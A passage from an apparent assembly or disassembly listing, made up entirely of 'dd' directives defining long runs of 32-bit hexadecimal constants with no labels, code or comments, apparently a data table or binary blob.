		dd 688EA903h, 0C75CC624h, 0FE9F7A56h, 0CB6B2299h, 3C579AB5h
		dd 4FA128CBh, 24A8C2C4h, 3C7A62B4h, 0F9D84450h,	65FFB78h
		dd 0BBCE9C43h, 0ED49A01Dh, 816E552h, 33540D53h,	0E174429Fh
		dd 4BF2C1EEh, 8685200Dh, 0E14EC2CEh, 0EF1A57A2h, 9E77CB12h
		dd 1131C979h, 3A030D77h, 634B010Fh, 76E4E15Eh, 0B9464DECh
		dd 0CA421FF5h, 0DBFF50B8h, 3FB27B63h, 3B0C9BB9h, 55C30D6Dh
		dd 0E2F153B2h, 0CD18CCCBh, 0B2D5C8D5h, 1C5DA2ECh, 1502C1F8h
		dd 88920F21h, 0EE6191B4h, 30183131h, 15E206EAh,	0A7B10E37h
		dd 0CC073DFDh, 9C8EC0A3h, 9CC36F68h, 8C08CD3Eh,	36BB0E15h
		dd 0A66B1820h, 412F47E0h, 2649AB6Dh, 1F40EE31h,	2E234211h
		dd 13BF2E46h, 7CB99330h, 0B17D0C6Ch, 0F7E2A756h, 4FBF9CFDh
		dd 1C76CF9Bh, 0AAAF10B0h, 925ADB3h, 0A8718CF9h,	3BDDE269h
		dd 0CFB0F5B9h, 86408811h, 133849h, 0F8E03951h, 1279B362h
		dd 147C9FA2h, 2F938B4Ch, 10209BA2h, 0F2E625Fh, 2CFC1AB2h
		dd 0EBE8570Dh, 4BCDAFFDh, 2686AFADh, 379544Dh, 8795C07Eh
		dd 6A056018h, 805BBF27h, 678E1136h, 0E6C305F7h,	522B0081h
		dd 7A83137Ah, 0F759910Ch, 0CEF0620h, 5A686D9h, 8A8BB51h
		dd 59D7265Ch, 4AB24D3Bh, 0C0D643B4h, 1697DD46h,	0F517E006h
		dd 837C6222h, 5231597Fh, 0A3AA66BBh, 1CA92B0Fh,	695FC79Dh
		dd 2E013E25h, 0BEF5660h, 80BA046Dh, 0A8F77B59h,	0A91BF35Ch
		dd 0C14E7B2Ah, 6755B0CAh, 990B1E0Dh, 0E4F4E83Eh, 3BDC7200h
		dd 0D2D75070h, 51A058F9h, 9A7CA6A9h, 1F1E9AA5h,	683EE990h
		dd 0FA063799h, 0E7A4ECB9h, 82BED4CEh, 491C53C6h, 0E28EC4ABh
		dd 3ED39C19h, 0DBDD76EBh, 0B9DFA874h, 0B786F953h, 56054AFCh
		dd 5E921DF3h, 22E099DAh, 0BC693AF2h, 0EE533AF5h, 27DABBE5h
		dd 0B91ACFD5h, 0D3F025EAh, 983D48F1h, 0EF4AD08Eh, 5D10D236h
		dd 446EA5A6h, 22A48F5Bh, 67D95E7Dh, 87D71A05h, 63F26743h
		dd 6E89D377h, 1BC1A0B4h, 268554D2h, 2480E30Eh, 0E3607F6Bh
		dd 291647ACh, 94D3EB3Ch, 62521870h, 0A7025499h,	0AFDCEEA8h
		dd 3ADAABA7h, 0A1637213h, 0F30CDC76h, 75F0DEF6h, 0F98BB609h
		dd 91A0EB98h, 0EA03A290h, 1080C3D5h, 0A96CB93Ah, 1F2BA346h
		dd 6E16BE61h, 0D45E0B32h, 336DA7B3h, 0E274C7C7h, 5B52C409h
		dd 0F25B980Bh, 297A2E53h, 0FE76DB8Fh, 0DA65BEA9h, 0F2723657h
		dd 0E46D9CB4h, 0DD93525Eh, 0E7AAFB6Ch, 7E3C5F4Bh, 0B3A0102Eh
		dd 78C63B82h, 0A4322313h, 35E2DD2Ch, 2FFC1370h,	0D366F439h
		dd 0EB250366h, 285B30D3h, 4D1636D8h, 9E47A181h,	0D275C10Ah
		dd 25C93248h, 769036E9h, 3A792996h, 5913F9DFh, 82889286h
		dd 0BC74D0F9h, 5890DB4Eh, 5546A6C4h, 349228CDh,	76958672h
		dd 0AD4A7FD5h, 87F865CBh, 0B8590E60h, 0F8D45888h, 28E61F76h
		dd 0CA767AC2h, 1B62C0F7h, 72EFDBF4h, 0DBF17279h, 0BB8DB3A2h
		dd 6008E207h, 171E1h, 5A2D06EFh, 0D6182104h, 1F8FE182h
		dd 9AA9EBB9h, 42DFFCC7h, 7F3A88B3h, 18920E15h, 0D2586EF4h
		dd 0F9989D60h, 9B3A8727h, 0CC59C4h, 0B633D319h,	49F8A3D0h
		dd 31C9E731h, 0EC7A3731h, 0A8070835h, 0D927ABDFh, 0D6586AD7h
		dd 0B4B18DB9h, 0E7367C09h, 95FE32F0h, 5D090E3Dh, 82AD17FBh
		dd 3D6D27FFh, 0AE4BE2A1h, 1B8EBEEEh, 62B9C916h,	0B510809Ah
		dd 673E966Eh, 0C2A90C8Ah, 0C6EBAA39h, 9BD1F2Ch,	31DC24D6h
		dd 0E8F47DADh, 0F58DE9E7h, 966BDF1Ah, 854FA63Ch, 0BD9706F9h
		dd 0DB2586CFh, 0B4026043h, 1CB1739Ch, 0A485A643h, 1BE08A96h
		dd 0A1F93C06h, 15A7D848h, 0E1C847ADh, 0EEA37D2Ch, 0A06B6D73h
		dd 334C2D2Fh, 9E92BD51h, 0AAD71D80h, 51C902B5h,	0AE5A9DA4h
		dd 0ABC97FD4h, 0AA44769Bh, 583EBD47h, 88665068h, 54ADFE3Ah
		dd 6A307C1Fh, 0DB143BA9h, 5E011DC1h, 7B2ABB6h, 8CD599B4h
		dd 0CC88380Bh, 8154352Bh, 940132DAh, 921EB130h,	0B719BAA5h
		dd 2F795600h, 0EBFC1A42h, 0E36DF378h, 0CF715D5Eh, 4C571625h
		dd 87933FD1h, 75F35FCFh, 95474B11h, 3BCE767h, 0A1F46459h
		dd 0D934B1D0h, 0BF96FCB0h, 8798728Eh, 97A22506h, 495352B0h
		dd 8A65A687h, 0EE6128F7h, 299B9307h, 0CC6EAD66h, 0DDECD511h
		dd 7FBEF396h, 79E19E84h, 0AB902C8Ch, 5460044Dh,	634A0079h
		dd 5227C4E1h, 10265B03h, 18851140h, 96951A29h, 561C255h
		dd 0F4198691h, 0C3E41BC9h, 0EE69CDB0h, 53709C29h, 0D0B99CE3h
		dd 726D8B01h, 0F8132EA9h, 0D95493FEh, 6EA2D24h,	6F277B12h
		dd 147D0FAh, 191FE2D9h,	642B8CA3h, 3A4F61A6h, 7C107359h
		dd 99F3889h, 68F1FD81h,	0C954E796h, 0D26505F8h,	6F9B460Fh
		dd 0CB829CE5h, 80DC1604h, 30F1689Dh, 89F0BACEh,	6EF66D50h
		dd 0A2EA805Eh, 0F2E659B9h, 0C247A65Bh, 9F7C92ECh, 91C534A8h
		dd 562BD748h, 0FA081FAAh, 3F9D2107h, 0BCDC8673h, 0CA64F4FAh
		dd 0A67919BBh, 0C4F5DC35h, 946AB150h, 0B31F10D0h, 0C5482953h
		dd 0BDF18120h, 0E793D261h, 0ED578C4Fh, 5FB25585h, 17D14975h
		dd 0A00680D2h, 57A4DC92h, 135237E1h, 947E09C5h,	21707417h
		dd 6AEC6935h, 0DC5EC657h, 0FCD23430h, 0BBBCA8ADh, 0BE8C979Eh
		dd 313C9F8h, 0E126402Bh, 7953A159h, 6ECE68F8h, 7EC94608h
		dd 26C97628h, 374AD3BDh, 8AF341DAh, 0D28A55A5h,	2FBAB739h
		dd 364B34D5h, 0E9D384D1h, 95631A3Dh, 0AD6C9329h, 993E5760h
		dd 5B9BBAA1h, 8B789565h, 4F4E13EBh, 6A602E13h, 83B1129Ah
		dd 3EA6E8FFh, 0CDE5E593h, 14724143h, 5D95A0A9h,	5DCA80FBh
		dd 43A2C4C8h, 31E0A149h, 1C5344AFh, 8095CCAh, 9A09CAAEh
		dd 67B5D617h, 268D3070h, 3FF7831Fh, 0B34CC6BEh,	0BCB3BA3Fh
		dd 0AECF1677h, 5C119898h, 2B985DBh, 0D5D7A1D3h,	0A2E96D4Eh
		dd 0B123B803h, 0D773D3D9h, 0FF8E0824h, 97714034h, 9A0114B8h
		dd 0DD9F7645h, 38446CF0h, 0B1DF7E6Bh, 44492E3h,	0BFFCB32Bh
		dd 0E54CC59Bh, 0D50579E9h, 0B85AB1A6h, 35231FDAh, 0C474DE1Ch
		dd 2ACB832Fh, 0CB99E145h, 0D357249Eh, 9AA4B19Eh, 524E6D6Ch
		dd 5FA2620Dh, 0CAB25850h, 0DE5BCAA7h, 0B819B21h, 5FDB7800h
		dd 716513E9h, 69AD1C9Dh, 9753504Ch, 2E33EBA1h, 46CC9F00h
		dd 60124CF7h, 6DB9EF28h, 72E3B267h, 180365D0h, 7C9BDA3Dh
		dd 56790305h, 1256F8FAh, 9C88336Dh, 0A45F3362h,	0B94AEA6Bh
		dd 82218A88h, 21ABD057h, 7D80D240h, 8F8699D4h, 0AC0A7F3Fh
		dd 782BD203h, 3A8D8A10h, 82675B32h, 0A64B01F4h,	0B6496A95h
		dd 35962189h, 0A04DA949h, 62A1573h, 354AE9B7h, 628B6E57h
		dd 0A4698105h, 4364D4E6h, 9845569Bh, 0FEC7CDAFh, 0A4E85BDEh
		dd 9845D3Ah, 813AB05Ah,	0F971CDB8h, 0A349DD03h,	30CA1F8Ch
		dd 0B7FDB8A1h, 76EA1706h, 585857C6h, 313D952Fh,	444BE892h
		dd 4067093h, 901D4C9Ch,	38E00715h, 0FFC17743h, 0B823414Bh
		dd 69564651h, 1F992E98h, 0F9D5CBD0h, 5725D997h,	0FDF5AD4Eh
		dd 29470A20h, 0DCBDA900h, 0C3B66C99h, 0B93D35h,	0EB428D03h
		dd 320177B3h, 7CF0B5E1h, 1A3E7006h, 0C49EE429h,	3EA962BBh
		dd 47E3C39Dh, 6DFED4D8h, 0C3E33A4Dh, 404B39FAh,	47BC79BFh
		dd 777649E0h, 0C2F40606h, 81B8B8CFh, 31485FC2h,	1B0256C3h
		dd 76A84DA6h, 0AD630409h, 0D5AE892Ah, 0E4394FB4h, 0D992358Eh
		dd 0E9529DFAh, 57E208B5h, 865CC186h, 54BFE62Bh,	2D018E81h
		dd 0F50D2A86h, 0CC8EA2EBh
		dd 455D88A7h, 6C47ADAAh, 503CB74h, 11D66A87h, 0B707FD14h
		dd 0B1B1BF03h, 0F4514AC3h, 0DBB1CCBh, 90BACCD3h, 3745A80Ah
		dd 88D778C0h, 0E6411482h, 841CE565h, 0C8F2A154h, 7ED6D152h
		dd 0F454A9FDh, 32BB0904h, 8B75E697h, 76B0E056h,	5221DE68h
		dd 0F31B17DEh, 0F80F6F69h, 0E42FE215h, 0FE72C702h, 0F7AA031Fh
		dd 22FA0512h, 27EF7D2Fh, 0E2B29721h, 3E3B8995h,	931CB13Fh
		dd 1CF96E17h, 43B34AF2h, 16881B60h, 0FFC2F3B5h,	90DF0895h
		dd 8844D599h, 0FA6EE158h, 83FB224Dh, 6008C7ABh,	8B0446h
		dd 0CA2394D0h, 2A06869h, 0F17741FBh, 0BAD72A87h, 8003BD63h
		dd 55091A4Ah, 0F15EAA88h, 1BDFB9CDh, 49FADBA6h,	63BF27F5h
		dd 0E5F6C6A6h, 4C171719h, 526C660Fh, 224C1435h,	0B27275EDh
		dd 8080B256h, 56E91F10h, 0A28E3FE4h, 0E3995538h, 26A31F21h
		dd 0B71026F5h, 2D5CB200h, 0AE8581A3h, 58F7ED99h, 54FF5190h
		dd 5F6F856Eh, 0E78C0CECh, 0C99B13FEh, 0BA08521Ch, 2A858118h
		dd 4A5A0B94h, 5A682D36h, 3262C532h, 0FA89FF4Ah,	22815F4h
		dd 1A2F08F1h, 39A8495Ah, 50E6D0Bh, 1B750710h, 0AB2E1ED6h
		dd 1669AF70h, 53E20C95h, 89053853h, 0A4901022h,	7168E843h
		dd 548F2F29h, 0A97E30A2h, 0AE2310C2h, 0DBFA2BF6h, 4B73A239h
		dd 27C15BDDh, 5831333Ah, 15AD2255h, 0B92DA9DAh,	22B4252Eh
		dd 2FEBC7h, 0FB277682h,	46CDC2FDh, 5B1C6034h, 78F43463h
		dd 0EC680EFAh, 0E0463CD8h, 96C352C5h, 66A49098h, 640FB7C7h
		dd 48828D41h, 0A3460963h, 1334FB54h, 0B899490h,	0F3733CC4h
		dd 9F55D4E0h, 0E02D1A87h, 0F9B1C53Ah, 489B54C9h, 0BFFE336h
		dd 8CA51663h, 2303B4CBh, 94558F4Fh, 936114E8h, 88132C38h
		dd 82A50A69h, 0C229D7EFh, 3B2A3A85h, 0F5E6BC89h, 0EA8796EDh
		dd 0C24E9E44h, 0C664D193h, 4130AD12h, 0D064B173h, 9E96233Ah
		dd 0BCBDDA48h, 0C1F6399Ch, 561572B8h, 84CD78C9h, 45E4B743h
		dd 0D7A50321h, 371DD23Ch, 0AC70FD1Fh, 2F813F30h, 556DBB6Ah
		dd 0D57BC91Ah, 6DDB2809h, 83395EE2h, 0D4DA1683h, 1B5B3305h
		dd 4259695Ch, 990A129Bh, 95DBB25Ah, 9C1B9217h, 0D51C90A8h
		dd 4970300Dh, 6E47FF4Dh, 39ADBD5Eh, 44BF29B4h, 387D38A1h
		dd 0C08019E0h, 0D55E9C7Ah, 724004EEh, 13246829h, 4FAB1962h
		dd 8F6BC50Dh, 0F7A7AB35h, 0A1FA5E2Eh, 14DF6A1Bh, 0AD475FFDh
		dd 0E7FACFCCh, 95342410h, 0F138741h, 1099A7C4h,	0B38252F0h
		dd 0A17E8674h, 0E50FC5EBh, 2BF65205h, 2C675798h, 251C038Eh
		dd 9CC6A7A0h, 7DB47B56h, 0FD003078h, 0E86F4C05h, 0DC70713Ch
		dd 2E30B57h, 0B4A07D6Bh, 64283775h, 0F075949Ah,	4F9DCE50h
		dd 80DBF549h, 2130648Bh, 77FAF215h, 4DBF2728h, 24607345h
		dd 0F87366Ch, 4EB1B60Ah, 0E9336B23h, 0B6CBE454h, 0A4D9234Bh
		dd 698055EEh, 42128C8Bh, 0DC6EF47Dh, 933230A5h,	21FD2298h
		dd 0FFAF66B3h, 0B3C4016Ah, 2A21C069h, 0D84C60A3h, 0DE81AD13h
		dd 3287A200h, 5A336812h, 0C90AE761h, 5FB73BADh,	55D72778h
		dd 0B16586A2h, 0E8110C2Fh, 94FB227Ah, 0D084D073h, 9053CACEh
		dd 0C9689D24h, 1AD42251h, 0AB1EB8D3h, 0BA61EFh,	403917B9h
		dd 414937E2h, 4CB9110Fh, 17D68FDBh, 83E94DC8h, 615E7D45h
		dd 0C029041Dh, 0E9B2C78Fh, 5E79041Dh, 5838D9C7h, 0BC3AA45Fh
		dd 44BD9B0Fh, 0CEF3BF8Fh, 1D3A8F2Bh, 2656C651h,	0F568D120h
		dd 0BD8C1DF8h, 0C0DEFA12h, 14995563h, 7C0A4B5Ch, 0B86B3491h
		dd 0B2F1D8F5h, 0F30F4C33h, 0D49DA4C5h, 225E5719h, 602CBF53h
		dd 6D244A43h, 0E94E0366h, 0BAAB0F34h, 27D64A87h, 0F4738840h
		dd 0C902054Dh, 2BACDE4Bh, 590C6637h, 4FAC71B7h,	53FF963Eh
		dd 0C871D49Eh, 1ECB2217h, 0D6D3FD1h, 1DF40D8Eh,	7EA79B5Fh
		dd 24DACDA2h, 4D0460Bh,	106ACE32h, 0E6C8DDD7h, 908F9450h
		dd 0BD43C7F3h, 0AF9F2E7h, 9680B979h, 0FED40EA2h, 75D4121Fh
		dd 0CABB8B04h, 49C997A4h, 82437C9Eh, 1E533163h,	80D8F43Eh
		dd 0CDD21053h, 40637467h, 6198A46h, 0F90D5A51h,	8A50C4A3h
		dd 0D953B917h, 0AD79E812h, 0F98F78EFh, 0A572509Ch, 0D3E21DFCh
		dd 0AA1C6C2Ch, 3B6C8EDEh, 5C15C33Dh, 51E016EEh,	6F9ED0DEh
		dd 0C6A6EB3Eh, 4413AC72h, 0B6A3D981h, 0AD3DEF12h, 64696C78h
		dd 2788507Dh, 729C7278h, 6D040D5Ch, 0A27248EEh,	81E50B5Ah
		dd 73AF46C2h, 3E804BF0h, 40A0D533h, 0ECD5B015h,	2E75AC16h
		dd 33AE3C84h, 0BBCFCA6Bh, 0D8B2AC94h, 30A77E2Fh, 90E1832Ah
		dd 7D5E5DE2h, 0CE030B0Ah, 0AB6E8E3Ch, 4B4675AEh, 0FC1C6243h
		dd 0A23CB163h, 0EE0B30E1h, 0B39579Eh, 0C8B70B12h, 0DAAC6C75h
		dd 0DEAADD9Bh, 601A71F8h, 0B8BB3828h, 0E961E51Dh, 0D693D20Ch
		dd 0AE7EF3AEh, 0EB3D3B6Eh, 5ACA126Ah, 5D4D5D2h,	65265ADDh
		dd 4A9EA478h, 20CC55E0h, 0F75B5EFEh, 0FC865F49h, 0D8ACD4AFh
		dd 0CEEE2C6Ah, 8572DBAh, 6731554Fh, 77BE205Bh, 5AE9ABF0h
		dd 0CACA62FFh, 47F1E2E2h, 54DF9567h, 7903DDA7h,	15745797h
		dd 8FB3BEA6h, 0DDB37D8Fh, 5D0ECB06h, 0E8D7F5A7h, 0B1D5CF2Bh
		dd 0E9249893h, 334B2FE8h, 2567082Bh, 56B1856Ah,	6EF5BE3Fh
		dd 1C373242h, 0C203FAF7h, 58381215h, 0D29CFD79h, 5DBD72FBh
		dd 67E06A1Ah, 0A230F264h, 2268A480h, 0F46C1DAFh, 0EEB96B87h
		dd 0A7DAD3F9h, 0DC96F79Ch, 0A053FF23h, 326A35E8h, 5B07044Eh
		dd 9B20759Eh, 0DBD999BAh, 4C5C5F0Eh, 850E0B11h,	0B279664Dh
		dd 71523B4Ch, 61F50B3h,	1C584607h, 73C6ABE7h, 0E9607D95h
		dd 0CBF912C7h, 0C4AD2F6Ch, 0A653EBC5h, 0A2AEE439h, 0B9B65C37h
		dd 535E505Fh, 5B754A2Eh, 894684CFh, 0A00B88E4h,	5A3C6FDh
		dd 149A9B4Fh, 16BF8B1Ch, 5797FD08h, 8CBAC11Ch, 0A38A2D49h
		dd 7F4B23A4h, 29E1241Ah, 24FAB7B8h, 0CD8FE999h,	6EBC7D7Fh
		dd 0E0439B4Dh, 0ED80EF00h, 0EA9271E0h, 2CD23112h, 60027129h
		dd 0DC6A847h, 0E6787287h, 0F5A95011h, 0EC6D3808h, 0C429C04h
		dd 883E8D39h, 8F4D4138h, 0E663C62Ah, 0E3C535AFh, 5936738Eh
		dd 0F3D0E47Ch, 0C1D1BE28h, 0AFD0136Fh, 728EFDFDh, 69A9D3BAh
		dd 0F75F5A20h, 0BEF267C8h, 0ED920D08h, 0DC363C2Dh, 0EC00E37Bh
		dd 2F167C3h, 0BDBE4FE4h, 0E914FABh, 56F844C7h, 0C8CFA244h
		dd 8D2232CFh, 0CCF204Ch, 9C379D7h, 0F0FB7FD4h, 0AD4D697Ch
		dd 7F48F156h, 3E31402Ah, 63749B98h, 41776640h, 400BCF38h
		dd 0AB17395Fh, 0D4C1A811h, 997672C7h, 0EFE7A8ABh, 37A4EE58h
		dd 0EA846ACDh, 0B1FD94E8h, 2C0CC4E1h, 1A524562h, 9EBE6C0Ch
		dd 13DAFC45h, 0F55C70D7h, 8B66B7ABh, 3E4510B6h,	0FDE48DA3h
		dd 0C90B25A7h, 978C99Dh, 24D0D44Dh, 50458B73h, 0A5073B6Eh
		dd 0EB2309D4h, 0AB912890h, 0A09569A6h, 69624D5Ch, 4B0CA37Bh
		dd 0F755680Bh, 0EDB5EC5Ah, 43D02533h, 0BCBCE47Ah, 0B21719ABh
		dd 0A0216C87h, 42A38511h, 24557119h, 5CFD1FBEh,	255CC535h
		dd 698570FFh, 1BC05BDAh, 7F4826CBh, 6868C8E7h, 0E9280BC4h
		dd 0C4D2E0C4h, 5E438CDCh, 2CE74FD1h, 70F60250h,	0D544F112h
		dd 1582EB60h, 0A25B21BBh, 3C51C4E3h, 0FD8349D6h, 31AC458Bh
		dd 7CF62431h, 455281B2h, 70DAEBCEh, 7C20BBF6h, 4EB0B4BFh
		dd 0A3BDBD11h, 9535199Bh, 0CEFEA2FAh, 58F5D09Ah, 0A46932E9h
		dd 8FD744C4h, 5F2DF5A2h, 83D53265h, 0F240371Eh,	36585B25h
		dd 0ACB1AB2Fh, 9799784Ch, 0F8701034h, 5B82BC91h, 3331D361h
		dd 6CE5380h, 3498AEAAh
		dd 48008FF4h, 67D74DFCh, 0B6F6E798h, 88A902DAh,	0D62E237Ch
		dd 0FAE31A82h, 92B18B72h, 0B6BCBDA8h, 0A48D851Dh, 54F24525h
		dd 0EEDA10E9h, 93F93FDBh, 62A154A0h, 0A6011958h, 0E79F0B47h
		dd 3F1489A2h, 0D43A9388h, 47CAF4D0h, 0EBB4446Ah, 438F41E7h
		dd 0CB6B710Dh, 0F15B6FB4h, 7FBCFA90h, 12EC5D7Dh, 0FB26055Fh
		dd 346CFC1Ah, 332D7639h, 95015061h, 458A65A9h, 7C4505D1h
		dd 0AB4ECE25h, 350ADEC5h, 7F0A001Dh, 48CA8A57h,	0AF2B75AEh
		dd 2C38694h, 5F6BCCh, 0A86D6DC8h, 0ACFB738Ch, 0BB63B4B4h
		dd 0FAFBC560h, 67B182F2h, 0F11EB859h, 71985D8h,	374F9E34h
		dd 8B4E3D17h, 0D4BAC3C8h, 56F27A40h, 8ECC369Dh,	0D230919Bh
		dd 0FD3BD578h, 4715A026h, 2E4CB5C7h, 103254AFh,	922DA665h
		dd 2660CCDCh, 0EC585B10h, 0C9C18C32h, 0F45EA932h, 6D702E40h
		dd 0D01B7A52h, 4E356D6Fh, 36471EE5h, 590E07BEh,	6F392E84h
		dd 0E46D1C2Fh, 489540EBh, 7BF27A4h, 8E6AF0F6h, 0B48958FBh
		dd 0D6A0C93Fh, 9F24B5ACh, 18CA1BADh, 387C53A2h,	68ED0C1Ah
		dd 582A24D5h, 9017CD76h, 9B8B149Eh, 0B2BCA402h,	0C5E0F6D3h
		dd 9CC7548Bh, 51346050h, 893F3E80h, 0DCA8E888h,	6B6E73BDh
		dd 24F8098Ch, 4CB127E9h, 6BA5231Ch, 814FFBAAh, 0CC44A13Eh
		dd 2EE09DE4h, 507493A1h, 126B8AA4h, 150B0340h, 0F5AC02CDh
		dd 0A9285535h, 0AF3B68CAh, 2BEEC974h, 0F2F2D487h, 57D6C1B5h
		dd 81144495h, 2AF3FF30h, 667FEF9Fh, 3CA63199h, 2D083C70h
		dd 0BF49FA9Dh, 0A5909B1h, 333BDFC6h, 6FD2BFC8h,	3FA8463Bh
		dd 13A15EAFh, 0E1104767h, 5C941FA5h, 42D06299h,	8F1D9BFCh
		dd 2090BD63h, 2825D6F6h, 1F673E7Bh, 2F02B189h, 41871CBEh
		dd 0B4F95B03h, 417EAEABh, 0F1F6B3ECh, 84454763h, 0B6FD88FBh
		dd 34E16F80h, 92CB6C34h, 0F2947A31h, 0DB9172DDh, 418E014Ch
		dd 8964244Ah, 888B3250h, 0DB833403h, 0D1CE0B4h,	2AF99CD6h
		dd 0E797F0CDh, 192772F9h, 0B62CF556h, 425FADh, 6E4DD446h
		dd 0F84E7CF9h, 1B5D7301h, 5C95B984h, 0A78A0F3Ch, 7AFA301Fh
		dd 629776Eh, 0DBE676E7h, 0A67CDA00h, 5D382128h,	95EF9CA7h
		dd 73E8D905h, 389DE051h, 5983D2F5h, 33FC84DDh, 0AEC4DF58h
		dd 7BA588B0h, 9267D01Bh, 5914D7CEh, 0CE5A654Eh,	314BD926h
		dd 37E2C5B7h, 0E2375A51h, 3C76F683h, 6D78CE14h,	859CA7F6h
		dd 5020A73Eh, 3AC65E7Ah, 0F55FFE4Eh, 596EAE39h,	8A636671h
		dd 149B0C6Ah, 881C75E9h, 0DCBB2CAEh, 0A80FE105h, 0FFBDA99Bh
		dd 547CA920h, 165B21B4h, 9814C61h, 198692A4h, 0E5595443h
		dd 0C2DD800Ah, 0E5AA08F0h, 7A6A3487h, 0DFCC603h, 0D72397BFh
		dd 2A5956BFh, 5EC30CFBh, 0CD9134AAh, 3AAF3F78h,	35A4A5A5h
		dd 0EE94E711h, 0A5C82933h, 8EA6F9D6h, 8B87B376h, 0C193EE46h
		dd 0B2082A79h, 87931AE5h, 0FDFFFF33h, 60FE6496h, 0D989D247h
		dd 0AB885823h, 9A92B4DCh, 0FFC74656h, 83B024C0h, 18683997h
		dd 8E44CCA3h, 609A9CFBh, 0F6A04623h, 9814A525h,	1CBA3206h
		dd 0E302C6C0h, 83963FA7h, 99673E53h, 9CB18D88h,	9593F0BEh
		dd 0A6B2095Eh, 0C48590AFh, 5D7FC25h, 53E1E874h,	7352E5F6h
		dd 36CD3A3Fh, 0E1A56913h, 997C911Fh, 172EFF29h,	0ADFEF457h
		dd 1DED2BCDh, 74AE564Fh, 5DF05A8Dh, 7949A63Eh, 8E3E91E5h
		dd 1EC8079Dh, 68E33AADh, 0F50A7970h, 8491156Fh,	451E49AEh
		dd 0E8D94CCAh, 3408B834h, 2C840CC8h, 83747660h,	0F9A250F8h
		dd 837217DAh, 8B280944h, 0ED56B9A2h, 432433FEh,	19C750A2h
		dd 0CCF2C4BFh, 0FD455A81h, 7BEFBB5Eh, 95CF588Fh, 58DB49E1h
		dd 4322BA3h, 0E93F69D9h, 1C2CD93Ah, 8213AF89h, 222C3CBBh
		dd 77EF50EDh, 0B98873A8h, 15248AB3h, 2334F899h,	885C771Eh
		dd 64679AABh, 0AE0A209Bh, 2315BF58h, 9BCC9BE5h,	12EBE2E3h
		dd 0B8FB8260h, 97E837F9h, 0F20FC61Dh, 52C331CCh, 319F1CBEh
		dd 564E4FA5h, 0C5E3F5E1h, 1640597Fh, 0CA06288Dh, 0A16D4A0h
		dd 0E14D6D2Dh, 0B00D5A65h, 0D19212BBh, 64B21B71h, 1451B4B8h
		dd 0A7129ED5h, 5D610A15h, 0CAB39D63h, 0D5575286h, 6F4D317Ah
		dd 15E65628h, 7DD55A7Dh, 0E6742EBBh, 60A8A347h,	6AF6C58Bh
		dd 1E196C43h, 0C5CF0407h, 0A369E916h, 5F399BF6h, 7C992A4Eh
		dd 2C4DAEEBh, 1AED61DBh, 6D295033h, 0C95B4C8Dh,	7EAC5278h
		dd 0D2D02E7Dh, 46C642BFh, 1625125Bh, 0A9B1FF51h, 76FD9C9Dh
		dd 2D230EE9h, 0F5D6148Eh, 13E2231Fh, 0D98171B9h, 0E812E36Ch
		dd 0B1B10714h, 9792D51Ch, 0B934EFFCh, 1EF4F7Fh,	0F9C11793h
		dd 39596B3Bh, 0E7A5E3C3h, 93A3E82Ch, 0A29B0100h, 0FF7A9277h
		dd 0B008DA16h, 0D026F24h, 0ECDCE407h, 0D58C23BDh, 0BABB3C28h
		dd 6E618F4Dh, 0C4041011h, 0E515C992h, 4EA0A5B3h, 0C0F952D5h
		dd 0C9745003h, 3C306E4Fh, 35212FFCh, 0FECE448Ah, 0E0EBFD32h
		dd 16F04388h, 48B19D93h, 1129D116h, 1604095Dh, 7CE7FF8Bh
		dd 57670DCCh, 1FB9D338h, 4A3A018h, 63F25308h, 7F25F64Eh
		dd 8AB43DBFh, 81935ADFh, 4F2FBC5Fh, 0E1CFDE47h,	0A34F4812h
		dd 11E3C019h, 0A87A2666h, 788C9C4Ch, 18A88692h,	0A2F17082h
		dd 75341150h, 54CB2244h, 0C205A326h, 7EDADBAFh,	8E92DB08h
		dd 0EB51E0Bh, 33A4D580h, 0DF14B517h, 2C8EA795h,	9340B29Fh
		dd 15596D7Dh, 0DC4EFBC5h, 0C12D8171h, 0A6AD9653h, 474FF1A4h
		dd 0B9C8D927h, 0FA5C8F30h, 4194419Ch, 0D89AD90Ah, 0F68B9AEAh
		dd 16F95603h, 7919DB28h, 0BF5ECC44h, 5B145861h,	0D3A44E63h
		dd 925DD3Dh, 28364C69h,	6CBC58E5h, 110F505Dh, 0A607E8E3h
		dd 47A98BC3h, 0F51477E1h, 42A57EEEh, 61C6A1E3h,	679A4098h
		dd 2BBFD2A6h, 2E86548Ch, 3736E670h, 0C7159CB9h,	0FCD19B86h
		dd 0E519DA58h, 2D69D6E0h, 53ED8E5Fh, 41018F48h,	7A78E4CEh
		dd 67AB00F5h, 750A41A4h, 74F2C71h, 19464C68h, 8C43A133h
		dd 1C63836Ch, 39555DFAh, 0D17902C4h, 2CB0DF39h,	0C7BA794Fh
		dd 8529709Ah, 6D68D3DBh, 9F6AEA33h, 0C34E011Eh,	0B27E8D98h
		dd 45719D3Eh, 0BCE0E518h, 3AF33CBFh, 0B04C2700h, 0EF418160h
		dd 0B5545694h, 327752B4h, 0EAE84050h, 9A09A5B9h, 0F8AFF989h
		dd 56799094h, 558D0016h, 90BB95E0h, 0B3E955D0h,	70DE856Ch
		dd 0E4FFD85Bh, 49ED4B8Ch, 0C83F185Ah, 0E8B3891Ch, 0C8CD2C44h
		dd 36CDA633h, 82621808h, 0AA4988D0h, 85C8B98Dh,	0F30B82AEh
		dd 32E7B2A8h, 0F2E9C372h, 4270C74Eh, 74671D0h, 0E885245Bh
		dd 46155914h, 0DB964124h, 9636A464h, 0D437BC1h,	0D42D471Fh
		dd 0C469890Fh, 9260DE8h, 7C7103A1h, 92D70CD3h, 4CE15CA1h
		dd 5EB99127h, 4CF5111h,	0EBCDB763h, 2A95A3CDh, 0B42519A7h
		dd 0E48E723Ah, 0C27500BDh, 195AD707h, 9719C546h, 0DF3ECA97h
		dd 657C03C9h, 0C596C185h, 0F73B015Fh, 8C4D80DCh, 0D890C1D3h
		dd 0D2A92069h, 629BFFF7h, 0F74FA5E0h, 0D14B5AEAh, 0CB8E3C36h
		dd 3E072D6Bh, 10FE4728h, 0B870ECDFh, 1C727C23h,	0BDDD2A38h
		dd 19270996h, 0FC699A29h, 41797FA6h, 0D16EED47h, 0B7BA9038h
		dd 328F7CEEh, 0FF35695Ah, 0CE58A1BAh, 0D64D7045h, 188673AEh
		dd 0B5044DB7h, 81CF3F0Fh, 952C1FA6h, 75F9B06Fh,	84ACECDBh
		dd 5DC08339h, 0BC7688ABh, 0E9B589CFh, 0B7CA375Ah, 59EA11ADh
		dd 0D5510D2Bh, 0A98E607h, 4E2F1693h, 0DE5E2A9Ah, 21FDD3A0h
		dd 336D5446h, 342B178h,	9820A63Eh, 5B45EDC7h, 449F4AD7h
